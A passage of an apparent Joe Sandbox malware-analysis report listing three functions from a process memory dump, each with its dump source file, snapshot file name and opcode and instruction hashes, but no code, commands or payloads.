                                                                    Function 00007FFD9B890708 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: fd86941efec3beaa117b63f13ee43b22bada210466f7319ebdf2d2acb94d55aa
                                                                    • Instruction ID: d4c8f489bf1633a52433de9117822b57d7c5099e30f4415a3474f1ccbe57512e
                                                                    • Opcode Fuzzy Hash: fd86941efec3beaa117b63f13ee43b22bada210466f7319ebdf2d2acb94d55aa
                                                                    • Instruction Fuzzy Hash: ABC04C3052180D8FC954E769C8859547AA5FB0D215BD610E0E509CB161E65A9D548741
                                                                    Function 00007FFD9B890540 Relevance: .0, Instructions: 9COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction ID: 00f305d5a71312522919187c109a7f01e85ee314619ee0366ddb183e4f212c32
                                                                    • Opcode Fuzzy Hash: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction Fuzzy Hash: 3EB01230D5B60F93DE3833F11C520B4B8D0AF0D204FD302B4D40C801A1E86F52D58253
                                                                    Function 00007FFD9B8906C8 Relevance: .0, Instructions: 8COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction ID: 688beb5b9b8193c0bb804f8a7cdc3d925b6c709becdd6b6d4b629218ecbfe333
                                                                    • Opcode Fuzzy Hash: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction Fuzzy Hash: 10B01200D6740F00EC2433FB0C5206978409B4C600FC20070D80D40095984D12960242